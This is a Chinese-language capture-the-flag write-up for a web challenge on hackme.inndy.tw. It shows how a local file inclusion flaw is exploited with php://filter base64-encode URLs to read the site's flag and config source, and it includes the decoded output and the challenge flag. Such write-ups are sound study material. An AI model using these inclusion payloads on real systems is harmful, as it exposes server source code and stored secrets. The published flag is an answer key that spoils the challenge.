【Hackme CTF】Web--LFI

最新推荐文章于 2025-10-08 15:16:02 发布

原创最新推荐文章于 2025-10-08 15:16:02 发布 · 1.6k 阅读

1 ·

CC 4.0 BY-SA版权

hackme.inndy.tw 专栏收录该内容

9 篇文章

订阅专栏

本文详细解析了LFI（本地文件包含）漏洞的利用方法，通过实战案例展示了如何使用php://filter读取本地文件，最终获取flag。文章揭示了安全防护中关于文件包含的重要注意事项。

Description:

What this admin’s password? That is not important at all, just get the flag.

Tips: LFI, php://filter

Solution:

其实见到LFI已经可以本能地知道这是考察本地包含了，查看源代码发现参数是page要读取pages/啥啥，直接用php://filter绕过读取本地文件
https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/flag
发现网页出现一行base64
Q2FuIHlvdSByZWFkIHRoZSBmbGFnPD9waHAgcmVxdWlyZSgnY29uZmlnLnBocCcpOyA/Pj8K
base64解码得
Can you read the flag<?php require('config.php'); ?>?
所以写网址为
https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/config
得到base64
PD9waHAKCiRmbGFnID0gIkZMQUd7WW9vb29vb19MRklfZzAwZF8yY1h4c1hTWVA5RVZMcklvfSI7Cg==
base64解码得
<?php
    $flag = "FLAG{Yoooooo_LFI_g00d_2cXxsXSYP9EVLrIo}";